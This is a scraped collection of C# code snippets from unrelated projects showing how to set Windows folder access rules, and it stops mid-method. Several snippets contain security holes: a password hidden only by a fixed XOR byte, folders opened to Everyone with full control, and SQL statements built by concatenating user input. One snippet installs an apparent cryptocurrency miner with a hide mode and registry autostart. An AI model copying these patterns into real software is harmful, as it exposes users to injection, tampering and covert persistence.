Example #1
0
        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {
                if (txtServer.Text.Length > 0 && txtPassword.Text.Length > 0)
                {
                    inif.Write("Server", "Name", txtServer.Text);
                }
                inif.Write("DBName", "DName", txtDBName.Text);
                inif.Write("UserName", "UName", txtUser.Text);
                //inif.Write("Xmlpath", "Xmlpath", txtxmlpath.Text);
                inif.Write("AMStartTime", "AM", cmbamtime.Text);
                inif.Write("PMEndTime", "PM", cmbpmtime.Text);
                inif.Write("SIMSPATH", "SIMSVALUE", txtSimspath.Text);
                inif.Writeschool("SCHOOLNAME", "SCHOOLVALUE", txtschoolname.Text);



                string input       = txtPassword.Text;
                byte   xorConstant = 0x53;
                byte[] data        = Encoding.UTF8.GetBytes(input);
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] = (byte)(data[i] ^ xorConstant);
                }
                string output = Convert.ToBase64String(data);

                inif.Writepass("Password", "pass", output);

                button3.Enabled = true;
                // MessageBox.Show("ASSET settings saved successfully");


                String Destination = inif.Read("SIMSPATH", "SIMSVALUE");
                if (Destination.Length > 0)
                {
                    if (!Directory.Exists(Destination + "/config"))
                    {
                        Directory.CreateDirectory(Destination + "/config");
                    }
                    String exefilename = "\"" + Destination + "\\SIMSServices.exe" + "\"";
                    String CurrentPath = System.IO.Path.GetDirectoryName(Application.ExecutablePath);
                    foreach (string newPath in Directory.GetFiles(CurrentPath, "*.*",
                                                                  SearchOption.AllDirectories))
                    {
                        File.Copy(newPath, newPath.Replace(CurrentPath, Destination), true);
                    }

                    DirectoryInfo     dInfo     = new DirectoryInfo(Destination);
                    DirectorySecurity dSecurity = dInfo.GetAccessControl();
                    dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
                    dInfo.SetAccessControl(dSecurity);

                    foreach (var process in Process.GetProcessesByName(exefilename))
                    {
                        process.Kill();
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show("From Start Service " + ex.Message);
            }
        }
Example #2
0
        private static async Task <ApplicationManager> CreateApplicationInternal(int siteIndex)
        {
            string applicationName = _sitePrefix + siteIndex;

            string operationName = "SitePool.CreateApplicationInternal " + applicationName;

            var context     = new KuduTestContext();
            var siteManager = GetSiteManager(context);

            Site site = siteManager.GetSite(applicationName);

            if (site != null)
            {
                TestTracer.Trace("{0} Site already exists at {1}. Reusing site", operationName, site.SiteUrl);

                TestTracer.Trace("{0} Reset existing site content", operationName);
                await siteManager.ResetSiteContent(applicationName);

                RunAgainstCustomKuduUrlIfRequired(site);

                var appManager = new ApplicationManager(siteManager, site, applicationName)
                {
                    SitePoolIndex = siteIndex
                };

                // Make sure we start with the correct default file as some tests expect it
                WriteIndexHtml(appManager);

                TestTracer.Trace("{0} completed", operationName);
                return(appManager);
            }
            else
            {
                TestTracer.Trace("{0} Creating new site", operationName);
                lock (_createSiteLock)
                {
                    if (ConfigurationManager.AppSettings["UseNetworkServiceIdentity"] == "true")
                    {
                        var applicationsPath = context.Configuration.ApplicationsPath;
                        if (!Directory.Exists(applicationsPath))
                        {
                            Directory.CreateDirectory(applicationsPath);

                            var accessRule = new FileSystemAccessRule("NETWORK SERVICE",
                                                                      fileSystemRights: FileSystemRights.Modify | FileSystemRights.Write | FileSystemRights.ReadAndExecute | FileSystemRights.Read | FileSystemRights.ListDirectory,
                                                                      inheritanceFlags: InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                                                                      propagationFlags: PropagationFlags.None,
                                                                      type: AccessControlType.Allow);

                            var directoryInfo = new DirectoryInfo(applicationsPath);
                            DirectorySecurity directorySecurity = directoryInfo.GetAccessControl();
                            directorySecurity.AddAccessRule(accessRule);
                            directoryInfo.SetAccessControl(directorySecurity);
                        }
                    }

                    site = siteManager.CreateSiteAsync(applicationName).Result;

                    RunAgainstCustomKuduUrlIfRequired(site);
                }

                TestTracer.Trace("{0} Created new site at {1}", operationName, site.SiteUrl);
                return(new ApplicationManager(siteManager, site, applicationName)
                {
                    SitePoolIndex = siteIndex
                });
            }
        }
Example #3
0
        private static void InstallFreya(bool DoNotKillFreya = false)
        {
            ///
            /// [Clean up old miners before installation]
            KillProcess(DoNotKillFreya);
            DeleteFile(@"C:\Windows\SysWOW64\windowsserviceagent.exe");
            DeleteFile(@"C:\Windows\windowsserviceagent.exe");
            DeleteFile(@"C:\Intel\windowsserviceagent.exe");

            string[] workerRuntimeName = FFunc.GetWorkerRuntimeName();
            for (int n = 0; n < workerRuntimeName.Length; n++)
            {
                DeleteFile(FConstants.WorkFilePath + "\\" + workerRuntimeName[n]);
            }

            ///
            /// 調整 registry
            // FFunc.SetRegKey("FeatureByte", Convert.ToInt32(FConstants.FeatureByte.Hide));

            ///
            /// [開機自動啟動 FreyaUI]
            try
            {                                                                                                      //Hide Mode不自動啟動FreyaUI,刪除registry key
                string FreyaDirectory = (string)FFunc.GetRegKey("FreyaDirectory");
                if ((FreyaDirectory == null ||                                                                     // OR 全新安裝
                     !FreyaDirectory.Equals(System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase) ||    // OR 安裝位置不同,就取消hide mode (form1裡面取消)
                     !FFunc.HasRight(FConstants.FeatureByte.Hide)) &&                                              // OR 不是hide mode
                    !System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase.Equals(@"C:\Windows\Freya\")) // AND不是在windows目錄
                {
                    Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "FreyaUI", "\"" + System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "Freya.exe\" minimized");
                    //Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", "FreyaUI", "\"" + System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "Freya.exe\" minimized");
                    FFunc.DelRight(FConstants.FeatureByte.Hide);
                    logger.WriteLine("[H] Start up Registry key added, remove hide featurebyte");
                }
                else
                {
                    try
                    {
                        RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue("FreyaUI");
                        }
                        RegistryKey key1 = Registry.LocalMachine.OpenSubKey("Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key1 != null)
                        {
                            key1.DeleteValue("FreyaUI");
                        }
                    }
                    catch (Exception) { }
                    FFunc.AddRight(FConstants.FeatureByte.Hide);
                    logger.WriteLine("[H] Start up Registry key deleted, add hide featurebyte");
                }
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                logger.WriteLine("[H] Adding registry Exception: " + ex.Message.ToString());
                Console.ResetColor();
            }

            //調整目錄下檔案權限
            string            folder  = System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase;
            string            account = "Everyone";
            DirectorySecurity ds      = Directory.GetAccessControl(folder, AccessControlSections.All);

            ds.AddAccessRule(new FileSystemAccessRule(account,
                                                      FileSystemRights.FullControl,
                                                      InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
                                                      PropagationFlags.None,
                                                      AccessControlType.Allow));
            Directory.SetAccessControl(folder, ds);

            InstallTask();
            InstallService();
            StartService();
        }
 private void AddFileSystemAccessRule(DirectorySecurity permissions, FileSystemAccessRule accessRule)
 {
     permissions.AddAccessRule(accessRule);
 }
        public ActionResult Form(HighlightKatalogues HighlightKatalogues, string action)
        {
            if (Session["UserID"] == null)
            {
                return(RedirectToAction("Login", "Profile"));
            }
            HighlightKatalogues.CREATED_AT = ClassFunction.GetServerTime();
            sSql = "select top 1 max(ID) + 1 from HighlightKatalogues";
            var mstoid = db.Database.SqlQuery <Decimal>(sSql).FirstOrDefault();

            if (ModelState.IsValid)
            {
                using (var objTrans = db.Database.BeginTransaction())
                {
                    try
                    {
                        if (System.IO.File.Exists(Server.MapPath(HighlightKatalogues.IMAGE_COVER)))
                        {
                            var sExt      = Path.GetExtension(HighlightKatalogues.IMAGE_COVER);
                            var sdir      = Server.MapPath(locimgpath);
                            var sfilename = HighlightKatalogues.ID + sExt;
                            if (!Directory.Exists(sdir))
                            {
                                DirectorySecurity securityRules = new DirectorySecurity();
                                securityRules.AddAccessRule(new FileSystemAccessRule("Everyone", FileSystemRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
                                Directory.CreateDirectory(sdir, securityRules);
                            }
                            if (HighlightKatalogues.IMAGE_COVER.ToLower() != (locimgpath + "/" + sfilename).ToLower())
                            {
                                System.IO.File.Delete(sdir + "/" + sfilename);
                                System.IO.File.Move(Server.MapPath(HighlightKatalogues.IMAGE_COVER), sdir + "/" + sfilename);
                            }
                            HighlightKatalogues.IMAGE_COVER = locimgpath + "/" + sfilename;
                        }

                        if (action == "New Data")
                        {
                            sSql = "INSERT INTO HighlightKatalogues (TITLE, SUBTITLE,IMAGE_COVER, CREATED_AT, UPDATED_AT) VALUES('" + HighlightKatalogues.TITLE + "', '" + HighlightKatalogues.SUBTITLE + "', '" + Request.Url.Scheme + "://" + Request.Url.Host + ":90" + System.Web.VirtualPathUtility.ToAbsolute(HighlightKatalogues.IMAGE_COVER) + "', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)";
                            db.Database.ExecuteSqlCommand(sSql);
                            db.SaveChanges();
                        }
                        else
                        {
                            sSql = "UPDATE HighlightKatalogues SET TITLE='" + HighlightKatalogues.TITLE + "', SUBTITLE='" + HighlightKatalogues.SUBTITLE + "', IMAGE_COVER='" + Request.Url.Scheme + "://" + Request.Url.Host + ":90" + System.Web.VirtualPathUtility.ToAbsolute(HighlightKatalogues.IMAGE_COVER) + "' , CREATED_AT=CURRENT_TIMESTAMP, UPDATED_AT=CURRENT_TIMESTAMP WHERE ID=" + HighlightKatalogues.ID + "";
                            db.Database.ExecuteSqlCommand(sSql);

                            db.SaveChanges();
                        }

                        objTrans.Commit();
                        return(RedirectToAction("Index"));
                    }
                    catch (Exception ex)
                    {
                        objTrans.Rollback();
                        ModelState.AddModelError("", ex.ToString());
                    }
                }
            }
            ViewBag.action = action;
            return(View(HighlightKatalogues));
        }
Example #6
0
        private void ConfigureService()
        {
            SetConfigureStatus(0, "Updating configuration files...");

            string output;

            string args = "";

            Invoke((MethodInvoker) delegate
            {
                string master_host, master_port;
                GetMasterHostPort(out master_host, out master_port);

                args += " --master_host " + master_host + "," + master_port;

                foreach (ListViewItem lvi in lvwEndpoints.Items)
                {
                    args += " --endpoint " + lvi.SubItems[0].Text.Trim();

                    if (lvi.SubItems.Count > 1)
                    {
                        args += "," + lvi.SubItems[1].Text.Trim() + "," + lvi.SubItems[2].Text.Trim();
                    }
                }
            });

            if (rdoListener.Checked)
            {
                args += " --listen ::," + txtListenerPort.Text.Trim();
            }

            if (chkAcceptConfig.Checked)
            {
                args += " --accept-config";
            }

            if (chkAcceptCommands.Checked)
            {
                args += " --accept-commands";
            }

            string ticket = txtTicket.Text.Trim();

            if (ticket.Length > 0)
            {
                args += " --ticket \"" + ticket + "\"";
            }

            args += " --trustedcert \"" + _TrustedFile + "\"";
            args += " --cn \"" + txtInstanceName.Text.Trim() + "\"";
            args += " --zone \"" + txtInstanceName.Text.Trim() + "\"";

            foreach (ListViewItem lvi in lvwGlobalZones.Items)
            {
                args += " --global_zones " + lvi.SubItems[0].Text.Trim();
            }

            if (chkDisableConf.Checked)
            {
                args += " --disable-confd";
            }

            if (!RunProcess(Program.Icinga2InstallDir + "\\sbin\\icinga2.exe",
                            "node setup" + args,
                            out output))
            {
                ShowErrorText("Running command 'icinga2.exe " + "node setup" + args + "' produced the following output:\n" + output);
                return;
            }

            SetConfigureStatus(50, "Setting ACLs for the Icinga 2 directory...");

            string serviceUser = txtUser.Text.Trim();

            DirectoryInfo        di   = new DirectoryInfo(Program.Icinga2InstallDir);
            DirectorySecurity    ds   = di.GetAccessControl();
            FileSystemAccessRule rule = new FileSystemAccessRule(serviceUser,
                                                                 FileSystemRights.Modify,
                                                                 InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);

            try {
                ds.AddAccessRule(rule);
                di.SetAccessControl(ds);
            } catch (System.Security.Principal.IdentityNotMappedException) {
                ShowErrorText("Could not set ACLs for user \"" + serviceUser + "\". Identitiy is not mapped.\n");
                return;
            }

            SetConfigureStatus(75, "Installing the Icinga 2 service...");

            RunProcess(Program.Icinga2InstallDir + "\\sbin\\icinga2.exe",
                       "--scm-uninstall",
                       out output);

            if (!RunProcess(Program.Icinga2InstallDir + "\\sbin\\icinga2.exe",
                            "daemon --validate",
                            out output))
            {
                ShowErrorText("Running command 'icinga2.exe daemon --validate' produced the following output:\n" + output);
                return;
            }

            if (!RunProcess(Program.Icinga2InstallDir + "\\sbin\\icinga2.exe",
                            "--scm-install --scm-user \"" + serviceUser + "\" daemon",
                            out output))
            {
                ShowErrorText("\nRunning command 'icinga2.exe --scm-install --scm-user \"" +
                              serviceUser + "\" daemon' produced the following output:\n" + output);
                return;
            }

            if (chkInstallNSCP.Checked)
            {
                SetConfigureStatus(85, "Waiting for NSClient++ installation to complete...");

                Process proc = new Process();
                proc.StartInfo.FileName  = "msiexec.exe";
                proc.StartInfo.Arguments = "/i \"" + Program.Icinga2InstallDir + "\\sbin\\NSCP.msi\"";
                proc.Start();
                proc.WaitForExit();
            }

            SetConfigureStatus(100, "Finished.");

            // Override the completed text
            lblSetupCompleted.Text = "The Icinga 2 Windows client was set up successfully.";

            // Add a note for the user for ticket-less signing
            if (ticket.Length == 0)
            {
                lblSetupCompleted.Text += "\n\nTicket was not specified. Please sign the certificate request on the Icinga 2 master node (requires v2.8+).";
            }

            FinishConfigure();
        }
Example #7
0
        static void Main(string[] args)
        {
            var path_Directory = @"C:\Users\x_kat\Desktop\Code_Estudos\01_Certificado_70-483\Udemy_Exam-70-483\Chapter 11\path_Directory";

            var path_DirectoryInfo = @"C:\Users\x_kat\Desktop\Code_Estudos\01_Certificado_70-483\Udemy_Exam-70-483\Chapter 11\path_DirectoryInfo";

            // Verificar a existência do diretório / pasta criado usando a classe de diretório
            if (Directory.Exists(path_Directory))
            {
                Console.WriteLine("Pasta de Diretório Existe");
                Console.WriteLine("********************");
            }
            else
            {
                // Crie um novo diretório / pasta usando a classe Directory
                DirectoryInfo directory = Directory.CreateDirectory(path_Directory);
                Console.WriteLine("O nome do directory é: " + directory.Name);
                Console.WriteLine("********************");
            }

            // Crie um novo diretório / pasta usando a classe DirectoryInfo
            DirectoryInfo directoryInfo = new DirectoryInfo(path_DirectoryInfo);

            // Verificar a existência do diretório / pasta criado usando a classe DirectoryInfo
            if (directoryInfo.Exists)
            {
                Console.WriteLine("A pasta DirectoryInfo existe");
                Console.WriteLine("********************");

                ////Using Directory Class
                //Directory.Move("Directory Folder", "../Moved Directory Folder");
                ////Using DirectoryInfo Class
                //directoryInfo.MoveTo("../Moved DirectoryInfo Folder");
            }
            else
            {
                directoryInfo.Create();
                DirectorySecurity directorySecurity = directoryInfo.GetAccessControl();
                directorySecurity.AddAccessRule(new FileSystemAccessRule("everyone",
                                                                         FileSystemRights.ReadAndExecute, AccessControlType.Allow));

                directoryInfo.SetAccessControl(directorySecurity);

                Console.WriteLine("O nome do directoryInfo é: " + directoryInfo.Name);
                Console.WriteLine("********************");
            }


            Directory.Move(@"C:\source", @"c:\destination");
            DirectoryInfo directorymove = new DirectoryInfo(@"C:\Source");

            directoryInfo.MoveTo(@"C:\destination");


            path_Directory     = @"C:\Windows";
            path_DirectoryInfo = @"C:\Inetpub";

            // Obter arquivo de um diretório específico usando a classe de diretório
            string[] fileNames = Directory.GetFiles(path_Directory);
            foreach (var name in fileNames)
            {
                Console.WriteLine("O nome é: {0}", name);
            }

            Console.WriteLine("********************");

            // Obter arquivos de um diretório específico usando a classe DirectoryInfo
            DirectoryInfo di = new DirectoryInfo(path_DirectoryInfo);

            FileInfo[] files = di.GetFiles();
            foreach (var file in files)
            {
                Console.WriteLine("O nome é: {0}", file.Name);
            }

            Console.WriteLine("********************");

            Console.ReadKey();
        }
Example #8
0
        public InitializeTestMachine()
        {
            _referenceCount++;

            // This method should be called only one time
            if (_referenceCount == 1)
            {
                TestUtility.LogInformation("InitializeTestMachine::InitializeTestMachine() Start");

                _InitializeTestMachineCompleted = false;

                TestUtility.LogInformation("InitializeTestMachine::Start");
                if (Environment.ExpandEnvironmentVariables("%ANCMTEST_DEBUG%").ToLower() == "true")
                {
                    System.Diagnostics.Debugger.Launch();
                }

                //
                // Clean up IISExpress processes
                //
                TestUtility.ResetHelper(ResetHelperMode.KillIISExpress);

                //
                // Initalize IIS server
                //

                if (TestFlags.Enabled(TestFlags.UseFullIIS))
                {
                    InitializeIISServer();
                }
                else
                {
                    TestUtility.ResetHelper(ResetHelperMode.KillIISExpress);
                }

                string siteRootPath = TestRootDirectory;
                if (!Directory.Exists(siteRootPath))
                {
                    //
                    // Create a new directory and set the write permission for the SID of AuthenticatedUser
                    //
                    Directory.CreateDirectory(siteRootPath);
                    DirectorySecurity  sec = Directory.GetAccessControl(siteRootPath);
                    SecurityIdentifier authenticatedUser = new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null);
                    sec.AddAccessRule(new FileSystemAccessRule(authenticatedUser, FileSystemRights.Modify | FileSystemRights.Synchronize, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
                    Directory.SetAccessControl(siteRootPath, sec);
                }

                foreach (string directory in Directory.GetDirectories(siteRootPath))
                {
                    bool successDeleteChildDirectory = true;
                    try
                    {
                        TestUtility.DeleteDirectory(directory);
                    }
                    catch
                    {
                        successDeleteChildDirectory = false;
                        TestUtility.LogInformation("Failed to delete " + directory);
                    }
                    if (successDeleteChildDirectory)
                    {
                        try
                        {
                            TestUtility.DeleteDirectory(siteRootPath);
                        }
                        catch
                        {
                            TestUtility.LogInformation("Failed to delete " + siteRootPath);
                        }
                    }
                }

                //
                // Intialize Private ANCM files for Full IIS server or IISExpress
                //
                if (TestFlags.Enabled(TestFlags.UsePrivateANCM))
                {
                    PreparePrivateANCMFiles();
                }

                _InitializeTestMachineCompleted = true;
                TestUtility.LogInformation("InitializeTestMachine::InitializeTestMachine() End");
            }

            for (int i = 0; i < 120; i++)
            {
                if (_InitializeTestMachineCompleted)
                {
                    break;
                }
                else
                {
                    TestUtility.LogInformation("InitializeTestMachine::InitializeTestMachine() Waiting...");
                    Thread.Sleep(500);
                }
            }
            if (!_InitializeTestMachineCompleted)
            {
                throw new ApplicationException("InitializeTestMachine failed");
            }
        }
Example #9
0
        /// <summary>
        /// Ensure the database needed by EF and Hybrid service is created
        /// </summary>
        public static void EnsureDatabaseCreated()
        {
            const string databaseName = "AstoriaDefaultServiceDB";
            const string resourceName = "Microsoft.Test.OData.Services.Astoria.PublicProvider.AstoriaDefaultServiceDB.bak";

            Log.Trace(string.Format("Ensure database {0} exists", databaseName));
            var entityConnBuilder = new EntityConnectionStringBuilder(ConnectionString);
            var sqlConnBuilder    = new SqlConnectionStringBuilder(entityConnBuilder.ProviderConnectionString)
            {
                InitialCatalog = "master"
            };

            using (var conn = new SqlConnection(sqlConnBuilder.ToString()))
            {
                conn.Open();
                bool databaseExist;
                using (var cmd = new SqlCommand("SELECT COUNT(*) FROM sys.databases WHERE name = @name", conn))
                {
                    cmd.Parameters.AddWithValue("@name", databaseName);
                    databaseExist = (int)cmd.ExecuteScalar() > 0;
                }
                if (!databaseExist)
                {
                    Log.Trace(string.Format("Database {0} does not exist", databaseName));
                    using (Stream resource = typeof(DatabaseHelper).Assembly
                                             .GetManifestResourceStream(resourceName))
                    {
                        if (resource == null)
                        {
                            throw new ArgumentException("No such resource", resourceName);
                        }
                        const string temp = "Temp";
                        if (!Directory.Exists(temp))
                        {
                            Directory.CreateDirectory(temp);
                        }
                        DirectorySecurity sec = Directory.GetAccessControl(temp);
                        var everyone          = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
                        sec.AddAccessRule(
                            new FileSystemAccessRule(everyone,
                                                     FileSystemRights.Modify |
                                                     FileSystemRights.Synchronize,
                                                     InheritanceFlags.ContainerInherit |
                                                     InheritanceFlags.ObjectInherit, PropagationFlags.None,
                                                     AccessControlType.Allow));
                        Directory.SetAccessControl(temp, sec);
                        string file = Path.GetFullPath(Path.Combine(temp, databaseName + ".bak"));
                        string mdf  = Path.GetFullPath(Path.Combine(temp, databaseName + ".mdf"));
                        string ldf  = Path.GetFullPath(Path.Combine(temp, databaseName + ".ldf"));
                        Log.Trace(string.Format("Output database backup to {0}.", file));
                        using (Stream output = File.OpenWrite(file))
                        {
                            resource.CopyTo(output);
                        }
                        string restorecmd = string.Format(
                            "RESTORE DATABASE AstoriaDefaultServiceDB FROM DISK = '{0}' WITH MOVE 'AstoriaDefaultServiceDB' TO '{1}', MOVE 'AstoriaDefaultServiceDB_log' TO '{2}', REPLACE", file, mdf, ldf);
                        Log.Trace(restorecmd);
                        using (var cmd = new SqlCommand(restorecmd, conn))
                        {
                            cmd.ExecuteNonQuery();
                        }
                    }
                }
            }
        }
Example #10
0
        // ==============
        // Send Stock Out
        // ==============
        public async void SendStockOut(Forms.TrnIntegrationForm trnIntegrationForm, String userCode, String file, String domain)
        {
            trnIntegrationForm.folderMonitoringLogMessages("\r\n\nOpening File: " + file + " \r\n\n");

            List <Entities.FolderMonitoringTrnStockOut> newStockOuts = new List <Entities.FolderMonitoringTrnStockOut>();
            JavaScriptSerializer serializer = new JavaScriptSerializer();
            String jsonData = "";

            // ========
            // Cleaning
            // ========
            trnIntegrationForm.folderMonitoringLogMessages("\r\n\nCleaning Stock Out... (0%) \r\n\n");
            while (true)
            {
                try
                {
                    String deleteTemporaryStockOutTask = await DeleteTemporaryStockOut(domain);

                    if (!deleteTemporaryStockOutTask.Equals("Clean Successful..."))
                    {
                        trnIntegrationForm.folderMonitoringLogMessages(deleteTemporaryStockOutTask);
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                        Thread.Sleep(5000);
                    }
                    else
                    {
                        trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");

                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\nCleaning Stock Out... (100%) \r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Clean Successful!" + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        break;
                    }
                }
                catch (Exception e)
                {
                    trnIntegrationForm.folderMonitoringLogMessages("Error: " + e.Message + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                    trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                    Thread.Sleep(5000);
                }
            }

            // ================
            // Reading CSV Data
            // ================
            trnIntegrationForm.folderMonitoringLogMessages("Reading CSV Data... (0%) \r\n\n");
            while (true)
            {
                newStockOuts = new List <Entities.FolderMonitoringTrnStockOut>();

                try
                {
                    if (SysFileControl.IsCurrentFileClosed(file))
                    {
                        Int32 count = 0;

                        using (StreamReader dataStreamReader = new StreamReader(file))
                        {
                            dataStreamReader.ReadLine();
                            while (dataStreamReader.Peek() >= 0)
                            {
                                count += 1;

                                List <String> data = dataStreamReader.ReadLine().Split(',').ToList();
                                newStockOuts.Add(new Entities.FolderMonitoringTrnStockOut
                                {
                                    BranchCode      = data[0],
                                    OTDate          = data[1],
                                    AccountCode     = data[2],
                                    ArticleCode     = data[3],
                                    ManualOTNumber  = data[4],
                                    Remarks         = data[5],
                                    UserCode        = userCode,
                                    CreatedDateTime = data[6],
                                    ItemCode        = data[7],
                                    Particulars     = data[8],
                                    Unit            = data[9],
                                    Quantity        = Convert.ToDecimal(data[10]),
                                    Cost            = Convert.ToDecimal(data[11]),
                                    Amount          = Convert.ToDecimal(data[12]),
                                    No = count
                                });

                                journalDate = Convert.ToDateTime(data[1]);
                            }
                        }

                        trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");

                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\nReading CSV Data... (100%) \r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Read Successful!" + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        break;
                    }
                    else
                    {
                        trnIntegrationForm.folderMonitoringLogMessages("Error: File: " + file + " is currently open. \r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                        Thread.Sleep(5000);
                    }
                }
                catch (Exception e)
                {
                    trnIntegrationForm.folderMonitoringLogMessages("Error: " + e.Message + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                    trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                    Thread.Sleep(5000);
                }
            }

            if (newStockOuts.Any())
            {
                // =========================
                // Checking Muliple OT Dates
                // =========================
                trnIntegrationForm.folderMonitoringLogMessages("Checking Multiple OT Dates... (0%) \r\n\n");
                while (true)
                {
                    try
                    {
                        var groupedOTDates = from d in newStockOuts group d by d.OTDate into g select g.Key;

                        var OTDates = from d in groupedOTDates.ToList() select d;
                        if (OTDates.Count() > 1)
                        {
                            trnIntegrationForm.folderMonitoringLogMessages("Checking Error: Cannot integrate multiple OT Dates. \r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                            trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                            Thread.Sleep(5000);
                        }
                        else
                        {
                            trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");

                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\nChecking Multiple OT Dates... (100%) \r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("Check Successful!" + "\r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                            break;
                        }
                    }
                    catch (Exception e)
                    {
                        trnIntegrationForm.folderMonitoringLogMessages("Error: " + e.Message + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                        Thread.Sleep(5000);
                    }
                }

                Boolean post = false;

                // =======
                // Sending
                // =======
                trnIntegrationForm.folderMonitoringLogMessages("Sending Stock Out... (0%) \r\n\n");
                while (true)
                {
                    try
                    {
                        Decimal percentage = 0;

                        Boolean send = false;
                        Int32   skip = 0;

                        for (Int32 i = 1; i <= newStockOuts.Count(); i++)
                        {
                            if (i % 100 == 0)
                            {
                                jsonData = serializer.Serialize(newStockOuts.Skip(skip).Take(100));
                                skip     = i;

                                send       = true;
                                percentage = Convert.ToDecimal((Convert.ToDecimal(skip) / Convert.ToDecimal(newStockOuts.Count())) * 100);
                            }
                            else
                            {
                                if (i == newStockOuts.Count())
                                {
                                    if (newStockOuts.Count() <= 100)
                                    {
                                        jsonData = serializer.Serialize(newStockOuts);
                                    }
                                    else
                                    {
                                        jsonData = serializer.Serialize(newStockOuts.Skip(skip).Take(i - skip));
                                    }

                                    send       = true;
                                    percentage = Convert.ToDecimal((Convert.ToDecimal(i) / Convert.ToDecimal(newStockOuts.Count())) * 100);
                                }
                            }

                            if (send)
                            {
                                while (true)
                                {
                                    try
                                    {
                                        String insertTemporaryStockOutTask = await InsertTemporaryStockOut(domain, jsonData);

                                        if (!insertTemporaryStockOutTask.Equals("Send Successful..."))
                                        {
                                            trnIntegrationForm.folderMonitoringLogMessages(insertTemporaryStockOutTask);
                                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                                            trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                                            Thread.Sleep(5000);
                                        }
                                        else
                                        {
                                            trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");
